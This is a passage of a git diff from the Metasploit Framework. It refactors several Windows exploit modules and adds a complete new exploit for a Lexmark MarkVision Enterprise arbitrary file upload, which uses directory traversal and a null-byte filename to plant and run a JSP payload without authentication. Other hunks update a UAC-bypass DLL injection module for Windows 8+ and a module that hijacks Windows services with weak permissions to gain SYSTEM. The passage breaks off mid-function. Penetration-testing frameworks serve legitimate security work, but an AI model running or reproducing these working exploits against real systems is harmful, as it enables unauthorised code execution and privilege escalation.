print_error("Eek! We weren't expecting a response, but we got one")
- print_status(res.inspect) if datastore['NNM_DEBUG']
+ print_status(res.to_s) if datastore['NNM_DEBUG']
end
handler
diff --git a/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb b/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb
index 95a3486d1f..18fbdce2b0 100644
--- a/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb
+++ b/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb
@@ -162,7 +162,7 @@ class Metasploit3 < Msf::Exploit::Remote
if res and res.code != 502
print_error("Eek! We weren't expecting a response, but we got one")
- print_status(res.inspect) if datastore['NNM_DEBUG']
+ print_status(res.to_s) if datastore['NNM_DEBUG']
end
handler
diff --git a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb
index 73a7958ea3..eaeee505f4 100644
--- a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb
+++ b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb
@@ -159,7 +159,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_error("Eek! We weren't expecting a response, but we got one")
if datastore['DEBUG']
print_error('')
- print_error(res.inspect)
+ print_error(res.to_s)
end
end
diff --git a/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb b/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb
index 25aad0447e..bb190f583a 100644
--- a/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb
+++ b/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb
@@ -159,7 +159,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_error("Eek! We weren't expecting a response, but we got one")
if datastore['DEBUG']
print_error('')
- print_error(res.inspect)
+ print_error(res.to_s)
end
end
diff --git a/modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb b/modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb
new file mode 100644
index 0000000000..dbddf31243
--- /dev/null
+++ b/modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb
@@ -0,0 +1,155 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::FileDropper
+ include Msf::Exploit::Remote::HttpClient
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Lexmark MarkVision Enterprise Arbitrary File Upload',
+ 'Description' => %q{
+ This module exploits a code execution flaw in Lexmark MarkVision Enterprise before 2.1.
+ A directory traversal in the GfdFileUploadServlet servlet allows an unauthenticated
+ attacker to upload arbitrary files, including arbitrary JSP code. This module has been
+ tested successfully on Lexmark MarkVision Enterprise 2.0 with Windows 2003 SP2.
+ },
+ 'Author' =>
+ [
+ 'Andrea Micalizzi', # Vulnerability Discovery
+ 'juan vazquez' # Metasploit module
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ ['CVE', '2014-8741'],
+ ['ZDI', '14-410'],
+ ['URL', 'http://support.lexmark.com/index?page=content&id=TE666&locale=EN&userlocale=EN_US']
+ ],
+ 'Privileged' => true,
+ 'Platform' => 'win',
+ 'Arch' => ARCH_JAVA,
+ 'Targets' =>
+ [
+ [ 'Lexmark Markvision Enterprise 2.0', { } ]
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => 'Dec 09 2014'))
+
+ register_options(
+ [
+ Opt::RPORT(9788),
+ OptString.new('TARGETURI', [true, 'ROOT path', '/'])
+ ], self.class)
+ end
+
+ def check
+ res = send_request_cgi({
+ 'uri' => normalize_uri(target_uri.path.to_s, 'mve', 'help', 'en', 'inventory', 'am_about.html')
+ })
+
+ version = nil
+ if res && res.code == 200 && res.body && res.body.to_s =~ /MarkVision Enterprise ([\d\.]+)/
+ version = $1
+ else
+ return Exploit::CheckCode::Unknown
+ end
+
+ if Gem::Version.new(version) <= Gem::Version.new('2.0.0')
+ return Exploit::CheckCode::Appears
+ end
+
+ Exploit::CheckCode::Safe
+ end
+
+ def exploit
+ jsp_leak = jsp_path
+ jsp_name_leak = "#{rand_text_alphanumeric(4 + rand(32 - 4))}.jsp"
+ # By default files uploaded to C:\Program Files\Lexmark\Markvision Enterprise\apps\library\gfd-scheduled
+ # Default app folder on C:\Program Files\Lexmark\Markvision Enterprise\tomcat\webappps\ROOT
+ traversal_leak = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_name_leak}\x00.pdf"
+
+ print_status("#{peer} - Uploading info leak JSP #{jsp_name_leak}...")
+ if upload_file(traversal_leak, jsp_leak)
+ print_good("#{peer} - JSP successfully uploaded")
+ else
+ fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
+ end
+
+ res = execute(jsp_name_leak)
+
+ if res && res.code == 200 && res.body.to_s !~ /null/ && res.body.to_s =~ /Path:(.*)/
+ upload_path = $1
+ print_good("#{peer} - Working directory found in #{upload_path}")
+ register_file_for_cleanup(::File.join(upload_path, 'webapps', 'ROOT', jsp_name_leak))
+ else
+ print_error("#{peer} - Couldn't retrieve the upload directory, manual cleanup will be required")
+ end
+
+ jsp_payload_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"
+ jsp_payload = payload.encoded
+ traversal_payload = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_payload_name}\x00.pdf"
+
+ print_status("#{peer} - Uploading JSP payload #{jsp_payload_name}...")
+ if upload_file(traversal_payload, jsp_payload)
+ print_good("#{peer} - JSP successfully uploaded")
+ register_file_for_cleanup(::File.join(upload_path, 'webapps', 'ROOT', jsp_payload_name)) if upload_path
+ else
+ fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
+ end
+
+ print_status("#{peer} - Executing payload...")
+ execute(jsp_payload_name, 3)
+ end
+
+ def upload_file(filename, contents)
+ good_signature = rand_text_alpha(4 + rand(4))
+ bad_signature = rand_text_alpha(4 + rand(4))
+
+ post_data = Rex::MIME::Message.new
+ post_data.add_part(good_signature, nil, nil, 'form-data; name="success"')
+ post_data.add_part(bad_signature, nil, nil, 'form-data; name="failure"')
+ post_data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"datafile\"; filename=\"#{filename}\"")
+
+ res = send_request_cgi(
+ {
+ 'uri' => normalize_uri(target_uri.path, 'mve', 'upload', 'gfd'),
+ 'method' => 'POST',
+ 'data' => post_data.to_s,
+ 'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
+ })
+
+ if res && res.code == 200 && res.body && res.body.to_s.include?(good_signature)
+ return true
+ else
+ return false
+ end
+ end
+
+ def execute(jsp_name, time_out = 20)
+ res = send_request_cgi({
+ 'uri' => normalize_uri(target_uri.path.to_s, jsp_name),
+ 'method' => 'GET'
+ }, time_out)
+
+ res
+ end
+
+ def jsp_path
+ jsp =<<-EOS
+<%@ page language="Java" import="java.util.*"%>
+<%
+out.println("Path:" + System.getProperty("catalina.home"));
+%>
+ EOS
+
+ jsp
+ end
+
+end
diff --git a/modules/exploits/windows/local/bypassuac_injection.rb b/modules/exploits/windows/local/bypassuac_injection.rb
index 1fd494d3a6..b2003f93b8 100644
--- a/modules/exploits/windows/local/bypassuac_injection.rb
+++ b/modules/exploits/windows/local/bypassuac_injection.rb
@@ -10,9 +10,11 @@ class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking
include Exploit::EXE
+ include Exploit::FileDropper
include Post::File
include Post::Windows::Priv
include Post::Windows::ReflectiveDLLInjection
+ include Post::Windows::Runas
def initialize(info={})
super( update_info( info,
@@ -32,7 +34,9 @@ class Metasploit3 < Msf::Exploit::Local
'David Kennedy "ReL1K" ',
'mitnick',
'mubix', # Port to local exploit
- 'Ben Campbell' # In memory technique
+ 'Ben Campbell', # In memory technique
+ 'Lesage', # Win8+ updates
+ 'OJ Reeves' # Win 8+ updates
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
@@ -47,43 +51,78 @@ class Metasploit3 < Msf::Exploit::Local
'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html'
]
],
- 'DisclosureDate'=> "Dec 31 2010"
+ 'DisclosureDate'=> 'Dec 31 2010'
))
end
- def bypass_dll_path
- # path to the bypassuac binary
- path = ::File.join(Msf::Config.data_directory, "post")
+ def exploit
+ # Validate that we can actually do things before we bother
+ # doing any more work
+ validate_environment!
+ check_permissions!
- # decide, x86 or x64
- sysarch = sysinfo["Architecture"]
- if sysarch =~ /x64/i
- unless(target_arch.first =~ /64/i) and (payload_instance.arch.first =~ /64/i)
- fail_with(
- Exploit::Failure::BadConfig,
- "x86 Target Selected for x64 System"
+ # get all required environment variables in one shot instead. This
+ # is a better approach because we don't constantly make calls through
+ # the session to get the variables.
+ env_vars = get_envs('TEMP', 'WINDIR')
+
+ case get_uac_level
+ when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
+ UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
+ UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
+ fail_with(Exploit::Failure::NotVulnerable,
+ "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
)
- end
-
- if sysarch =~ /WOW64/i
- return ::File.join(path, "bypassuac-x86.dll")
- else
- return ::File.join(path, "bypassuac-x64.dll")
- end
- else
- if (target_arch.first =~ /64/i) or (payload_instance.arch.first =~ /64/i)
- fail_with(
- Exploit::Failure::BadConfig,
- "x64 Target Selected for x86 System"
- )
- end
-
- ::File.join(path, "bypassuac-x86.dll")
+ when UAC_DEFAULT
+ print_good('UAC is set to Default')
+ print_good('BypassUAC can bypass this setting, continuing...')
+ when UAC_NO_PROMPT
+ print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
+ shell_execute_exe
+ return
end
+
+ dll_path = bypass_dll_path
+ payload_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.dll"
+
+ upload_payload_dll(payload_filepath)
+
+ pid = spawn_inject_proc(env_vars['WINDIR'])
+
+ file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)
+ run_injection(pid, dll_path, file_paths)
+
+ # Windows 7 this is cleared up by DLL but on Windows
+ # 8.1 it fails to delete the the file.
+ register_file_for_cleanup(file_paths[:szElevDllFull])
end
+ def bypass_dll_path
+ # path to the bypassuac binary
+ path = ::File.join(Msf::Config.data_directory, 'post')
+ # decide, x86 or x64
+ sysarch = sysinfo['Architecture']
+ if sysarch =~ /x64/i
+ unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)
+ fail_with(
+ Exploit::Failure::BadConfig,
+ 'x86 Target Selected for x64 System'
+ )
+ end
+ return ::File.join(path, 'bypassuac-x64.dll')
+ else
+ if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)
+ fail_with(
+ Exploit::Failure::BadConfig,
+ 'x64 Target Selected for x86 System'
+ )
+ end
+
+ return ::File.join(path, 'bypassuac-x86.dll')
+ end
+ end
def check_permissions!
# Check if you are an admin
@@ -97,139 +136,135 @@ class Metasploit3 < Msf::Exploit::Local
if admin_group
print_good('Part of Administrators group! Continuing...')
else
- fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
+ fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
end
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
- fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level")
+ fail_with(Exploit::Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
end
-
-
- def exploit
- validate_environment!
-
- case get_uac_level
- when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
- fail_with(Exploit::Failure::NotVulnerable,
- "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
- )
- when UAC_DEFAULT
- print_good "UAC is set to Default"
- print_good "BypassUAC can bypass this setting, continuing..."
- when UAC_NO_PROMPT
- print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
- runas_method
- return
- end
-
- check_permissions!
-
- @temp_path = expand_path('%TEMP%').strip
-
- upload_payload_dll!
-
- pid = spawn_inject_proc
-
- run_injection(pid, bypass_dll_path)
-
- # delete the uac bypass payload
- vprint_status("Cleaning up payload file...")
- file_rm(payload_filepath)
- end
-
-
- def payload_filepath
- "#{@temp_path}\\CRYPTBASE.dll"
- end
-
-
-
- def runas_method
- payload = generate_payload_exe
- payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
- tmpdir = expand_path("%TEMP%")
- tempexe = tmpdir + "\\" + payload_filename
- write_file(tempexe, payload)
- print_status("Uploading payload: #{tempexe}")
- session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5)
- print_status("Payload executed")
- end
-
-
-
-
- def run_injection(pid, dll_path)
+ def run_injection(pid, dll_path, file_paths)
vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
begin
+ path_struct = create_struct(file_paths)
+
vprint_status("Opening process #{pid}")
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
exploit_mem, offset = inject_dll_into_process(host_process, dll_path)
- vprint_status("Executing payload")
- thread = host_process.thread.create(exploit_mem + offset, 0)
+
+ vprint_status("Injecting struct into #{pid}")
+ struct_addr = host_process.memory.allocate(path_struct.length)
+ host_process.memory.write(struct_addr, path_struct)
+
+ vprint_status('Executing payload')
+ thread = host_process.thread.create(exploit_mem + offset, struct_addr)
print_good("Successfully injected payload in to process: #{pid}")
- client.railgun.kernel32.WaitForSingleObject(thread.handle,14000)
+ client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000)
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Failed to Inject Payload to #{pid}!")
vprint_error(e.to_s)
end
end
-
-
- def spawn_inject_proc
- windir = expand_path("%WINDIR%").strip
- print_status("Spawning process with Windows Publisher Certificate, to inject into...")
- cmd = "#{windir}\\System32\\notepad.exe"
+ # Create a process in the native architecture
+ def spawn_inject_proc(win_dir)
+ print_status('Spawning process with Windows Publisher Certificate, to inject into...')
+ if sysinfo['Architecture'] =~ /wow64/i
+ cmd = "#{win_dir}\\sysnative\\notepad.exe"
+ else
+ cmd = "#{win_dir}\\System32\\notepad.exe"
+ end
pid = cmd_exec_get_pid(cmd)
unless pid
- fail_with(Exploit::Failure::Unknown, "Spawning Process failed...")
+ fail_with(Exploit::Failure::Unknown, 'Spawning Process failed...')
end
pid
end
-
-
- def upload_payload_dll!
+ def upload_payload_dll(payload_filepath)
payload = generate_payload_dll({:dll_exitprocess => true})
- print_status("Uploading the Payload DLL to the filesystem...")
+ print_status('Uploading the Payload DLL to the filesystem...')
begin
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
write_file(payload_filepath, payload)
+ register_file_for_cleanup(payload_filepath)
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(
- Exploit::Exception::Unknown,
+ Exploit::Failure::Unknown,
"Error uploading file #{payload_filepath}: #{e.class} #{e}"
)
end
end
-
-
-
def validate_environment!
- fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system?
+ fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? || is_system?
- winver = sysinfo["OS"]
+ winver = sysinfo['OS']
- unless winver =~ /Windows 2008|Windows [7]/
+ case winver
+ when /Windows (7|8|2008|2012)/
+ print_good("#{winver} may be vulnerable.")
+ else
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
end
if is_uac_enabled?
- print_status "UAC is Enabled, checking level..."
+ print_status('UAC is Enabled, checking level...')
else
- if is_in_admin_group?
- fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
- else
- fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
+ unless is_in_admin_group?
+ fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
end
end
+ def get_file_paths(win_path, payload_filepath)
+ paths = {}
+
+ case sysinfo['OS']
+ when /Windows (7|2008)/
+ paths[:szElevDll] = 'CRYPTBASE.dll'
+ paths[:szElevDir] = "#{win_path}\\System32\\sysprep"
+ paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep"
+ paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe"
+ when /Windows (8|2012)/
+ paths[:szElevDll] = 'NTWDBLIB.dll'
+ paths[:szElevDir] = "#{win_path}\\System32"
+ # This should be fine to be left blank
+ paths[:szElevDirSysWow64] = ''
+ paths[:szElevExeFull] = "#{paths[:szElevDir]}\\cliconfg.exe"
+ end
+
+ paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}"
+ paths[:szTempDllPath] = payload_filepath
+
+ paths
+ end
+
+ # Creates the paths struct which contains all the required paths
+ # the dll needs to copy/execute etc.
+ def create_struct(paths)
+
+ # write each path to the structure in the order they
+ # are defined in the bypass uac binary.
+ struct = ''
+ struct << fill_struct_path(paths[:szElevDir])
+ struct << fill_struct_path(paths[:szElevDirSysWow64])
+ struct << fill_struct_path(paths[:szElevDll])
+ struct << fill_struct_path(paths[:szElevDllFull])
+ struct << fill_struct_path(paths[:szElevExeFull])
+ struct << fill_struct_path(paths[:szTempDllPath])
+
+ struct
+ end
+
+ def fill_struct_path(path)
+ path = Rex::Text.to_unicode(path)
+ path + "\x00" * (520 - path.length)
+ end
+
end
diff --git a/modules/exploits/windows/local/current_user_psexec.rb b/modules/exploits/windows/local/current_user_psexec.rb
index ec115c2ec4..8b65ba6861 100644
--- a/modules/exploits/windows/local/current_user_psexec.rb
+++ b/modules/exploits/windows/local/current_user_psexec.rb
@@ -113,8 +113,13 @@ class Metasploit3 < Msf::Exploit::Local
begin
print_status("#{server.ljust(16)} Creating service #{name}")
- # 3 is Manual startup. Should probably have constants for this junk
- service_create(name, display_name, service_executable, 3, server)
+ service_create(name,
+ {
+ :display => display_name,
+ :path => service_executable,
+ :starttype=> "START_TYPE_MANUAL"
+ },
+ server)
# If everything went well, this will create a session. If not, it
# might be permissions issues or possibly we failed to create the
diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb
index 9a95a6a22f..01803bb100 100644
--- a/modules/exploits/windows/local/ikeext_service.rb
+++ b/modules/exploits/windows/local/ikeext_service.rb
@@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Local
return false
end
- if srv_info && srv_info['Name'].empty?
+ if srv_info && srv_info[:display].empty?
print_warning("Service #{service} does not exist.")
return false
else
@@ -78,15 +78,15 @@ class Metasploit3 < Msf::Exploit::Local
end
def check
- srv_info = service_info(@service_name)
-
if !check_service_exists?(@service_name)
return Exploit::CheckCode::Safe
end
+ srv_info = service_info(@service_name)
+
vprint_status(srv_info.to_s)
- case srv_info['Startup']
+ case START_TYPE[srv_info[:starttype]]
when 'Disabled'
vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
return Exploit::CheckCode::Safe
@@ -235,17 +235,6 @@ class Metasploit3 < Msf::Exploit::Local
service_information = service_info(@service_name)
- if service_information['Startup'] == 'Disabled'
- print_status("Service is disabled, attempting to enable...")
- service_change_startup(@service_name, 'auto')
- service_information = service_info(@service_name)
-
- # Still disabled
- if service_information['Startup'] == 'Disabled'
- fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...")
- end
- end
-
# Check architecture
dll = generate_payload_dll
@@ -265,29 +254,11 @@ class Metasploit3 < Msf::Exploit::Local
# Run the service, let the Windows API do the rest
#
print_status("Launching service #{@service_name}...")
-
- begin
- status = service_start(@service_name)
- if status == 1
- print_status("Service already running, attempting to restart...")
- if service_stop(@service_name) == 0
- print_status("Service stopped, attempting to start...")
- if service_start(@service_name) == 0
- print_status("Service started...")
- else
- fail_with(Exploit::Failure::Unknown, "Unable to start service.")
- end
- else
- fail_with(Exploit::Failure::Unknown, "Unable to stop service")
- end
- elsif status == 0
- print_status("Service started...")
- end
- rescue RuntimeError => e
- raise e if e.kind_of? Msf::Exploit::Failed
- if service_information['Startup'] == 'Manual'
- fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
- else
+ if service_restart(@service_name)
+ print_status("Service started...")
+ else
+ service_information = service_info(@service_name)
+ if service_information[:starttype] == START_TYPE_AUTO
if job_id
print_status("Unable to start service, handler running waiting for a reboot...")
while(true)
@@ -297,6 +268,8 @@ class Metasploit3 < Msf::Exploit::Local
else
fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
end
+ else
+ fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
end
end
end
diff --git a/modules/exploits/windows/local/nvidia_nvsvc.rb b/modules/exploits/windows/local/nvidia_nvsvc.rb
index b192478dc5..94683c99fa 100644
--- a/modules/exploits/windows/local/nvidia_nvsvc.rb
+++ b/modules/exploits/windows/local/nvidia_nvsvc.rb
@@ -77,8 +77,8 @@ class Metasploit3 < Msf::Exploit::Local
os = sysinfo["OS"]
if os =~ /windows/i
svc = service_info 'nvsvc'
- if svc and svc['Name'] =~ /NVIDIA/i
- vprint_good("Found service '#{svc['Name']}'")
+ if svc and svc[:display] =~ /NVIDIA/i
+ vprint_good("Found service '#{svc[:display]}'")
begin
if is_running?
@@ -92,10 +92,10 @@ class Metasploit3 < Msf::Exploit::Local
end
if sysinfo['Architecture'] =~ /WOW64/i
- path = svc['Command'].gsub('"','').strip
+ path = svc[:path].gsub('"','').strip
path.gsub!("system32","sysnative")
else
- path = svc['Command'].gsub('"','').strip
+ path = svc[:path].gsub('"','').strip
end
begin
diff --git a/modules/exploits/windows/local/service_permissions.rb b/modules/exploits/windows/local/service_permissions.rb
index a629ce8410..d6ba7bff0c 100644
--- a/modules/exploits/windows/local/service_permissions.rb
+++ b/modules/exploits/windows/local/service_permissions.rb
@@ -9,7 +9,13 @@ require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = GreatRanking
+ include Msf::Post::File
include Msf::Post::Windows::Services
+ include Msf::Post::Windows::Accounts
+ include Msf::Exploit::EXE
+ include Msf::Exploit::FileDropper
+
+ ERROR = Msf::Post::Windows::Error
def initialize(info={})
super( update_info( info,
@@ -19,10 +25,7 @@ class Metasploit3 < Msf::Exploit::Local
a SYSTEM session. If directly creating a service fails, this module will inspect
existing services to look for insecure file or configuration permissions that may
be hijacked. It will then attempt to restart the replaced service to run the
- payload. This will result in a new session when this succeeds. If the module is
- able to modify the service but does not have permission to start and stop the
- affected service, the attacker must wait for the system to restart before a
- session will be created.
+ payload. This will result in a new session when this succeeds.
},
'License' => MSF_LICENSE,
'Author' => [ 'scriptjunkie' ],
@@ -48,149 +51,153 @@ class Metasploit3 < Msf::Exploit::Local
end
- def exploit
- # randomize the filename
- filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
-
- # randomize the exe name
- tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
-
- raw = payload.encoded
-
- exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw)
-
- dir_env = session.sys.config.getenvs('SystemRoot', 'TEMP')
- sysdir = dir_env['SystemRoot']
- tmpdir = dir_env['TEMP']
-
- print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..")
- begin
- #
- # Upload the payload to the filesystem
- #
- tempexe = tmpdir + "\\" + tempexe_name
- fd = session.fs.file.new(tempexe, "wb")
- fd.write(exe)
- fd.close
- rescue ::Exception => e
- print_error("Error uploading file #{filename}: #{e.class} #{e}")
- return
- end
-
- #attempt to make new service
-
- #SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config
+ def execute_payload_as_new_service(path)
+ success = false
print_status("Trying to add a new service...")
- adv = session.railgun.advapi32
- manag = adv.OpenSCManagerA(nil,nil,0x10013)
- if(manag["return"] != 0)
- # SC_MANAGER_CREATE_SERVICE = 0x0002
- # SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010
- # SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0
- newservice = adv.CreateServiceA(manag["return"],Rex::Text.rand_text_alpha((rand(8)+6)),
- "",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil)
- if(newservice["return"] != 0)
- print_status("Created service... #{newservice["return"]}")
- ret = adv.StartServiceA(newservice["return"], 0, nil)
- print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.")
- adv.DeleteService(newservice["return"])
- adv.CloseServiceHandle(newservice["return"])
- if datastore['AGGRESSIVE'] != true
- adv.CloseServiceHandle(manag["return"])
- return
- end
- else
- print_error("Uhoh. service creation failed, but we should have the permissions. :-(")
+ service_name = Rex::Text.rand_text_alpha((rand(8)+6))
+ if service_create(service_name, {:path => path, :display=>""}) == ERROR::SUCCESS
+ print_status("Created service... #{service_name}")
+ write_exe(path, service_name)
+ if service_start(service_name) == ERROR::SUCCESS
+ print_good("Service should be started! Enjoy your new SYSTEM meterpreter session.")
+ success = true
end
+
+ service_delete(service_name)
else
print_status("No privs to create a service...")
- manag = adv.OpenSCManagerA(nil,nil,1)
- if(manag["return"] == 0)
- print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.")
+ success = false
+ end
+
+ return success
+ end
+
+ def weak_service_permissions(service_name, service, path)
+ success = false
+ vprint_status("[#{service_name}] Checking for weak service permissions")
+
+ if (service_change_config(service_name, {:path => path}) == ERROR::SUCCESS)
+ print_good("[#{service_name}] has weak configuration permissions - reconfigured to use exe #{path}")
+ print_status("[#{service_name}] Restarting service")
+ res = service_stop(service_name)
+
+ if ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE))
+ write_exe(path, service_name)
+ if service_restart(service_name)
+ print_good("[#{service_name}] Service restarted")
+ success = true
+ else
+ print_error("[#{service_name}] Unable to restart service")
+ end
+ end
+
+ unless (service_change_config(service_name, {:path => service[:path]}) == ERROR::SUCCESS)
+ print_error("[#{service_name}] Failed to reset service to original path #{service[:path]}")
end
end
- print_status("Trying to find weak permissions in existing services..")
- #Search through list of services to find weak permissions, whether file or config
- serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
- #for each service
- service_list.each do |serv|
- begin
- srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s
- if srvtype != "16"
- continue
- end
- moved = false
- configed = false
- #default path, but there should be an ImagePath registry key
- source = "#{sysdir}\\system32\\#{serv}.exe"
- #get path to exe; parse out quotes and arguments
- sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s
- sourcemaybe = session.fs.file.expand_path(sourceorig)
- if( sourcemaybe[0] == '"' )
- sourcemaybe = sourcemaybe.split('"')[1]
- else
- sourcemaybe = sourcemaybe.split(' ')[0]
- end
- begin
- session.fs.file.stat(sourcemaybe) #check if it really exists
- source = sourcemaybe
- rescue
- print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}")
- end
- #try to exploit weak file permissions
- if(source != tempexe && session.railgun.kernel32.MoveFileA(source, source+'.bak')["return"])
- session.railgun.kernel32.CopyFileA(tempexe, source, false)
- print_status("#{serv} has weak file permissions - #{source} moved to #{source+'.bak'} and replaced.")
- moved = true
- end
- #try to exploit weak config permissions
- #open with SERVICE_CHANGE_CONFIG (0x0002)
- servhandleret = adv.OpenServiceA(manag["return"],serv,2)
- if(servhandleret["return"] != 0)
- #SERVICE_NO_CHANGE is 0xFFFFFFFF
- if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
- 0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil))
- print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
- configed = true
- end
- adv.CloseServiceHandle(servhandleret["return"])
- end
- if(moved != true && configed != true)
- print_status("No exploitable weak permissions found on #{serv}")
- continue
- end
- print_status("Restarting #{serv}")
- #open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020)
- servhandleret = adv.OpenServiceA(manag["return"],serv,0x30)
- if(servhandleret["return"] != 0)
- #SERVICE_CONTROL_STOP = 0x00000001
- if(adv.ControlService(servhandleret["return"],1,56))
- session.railgun.kernel32.Sleep(1000)
- adv.StartServiceA(servhandleret["return"],0,nil)
- print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.")
- #Cleanup
- if moved == true
- session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)
- end
- if configed == true
- servhandleret = adv.OpenServiceA(manag["return"],serv,2)
- adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
- 0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)
- adv.CloseServiceHandle(servhandleret["return"])
- end
- else
- print_status("Could not restart #{serv}. Wait for a reboot or force one yourself.")
- end
- adv.CloseServiceHandle(servhandleret["return"])
- if datastore['AGGRESSIVE'] != true
- return
- end
+ return success
+ end
+
+ def weak_file_permissions(service_name, service, path, token)
+ success = false
+ vprint_status("[#{service_name}] Checking for weak file permissions")
+
+ #get path to exe; parse out quotes and arguments
+ original_path = service[:path]
+ possible_path = expand_path(original_path)
+ if (possible_path[0] == '"')
+ possible_path = possible_path.split('"')[1]
+ else
+ possible_path = possible_path.split(' ')[0]
+ end
+
+ unless file?(possible_path)
+ # If we cant determine it manually show the user and let them decide if manual inspection is worthwhile
+ print_status("[#{service_name}] Cannot reliably determine path: #{service[:path]}")
+ end
+
+ file_permissions = check_dir_perms(possible_path, token)
+
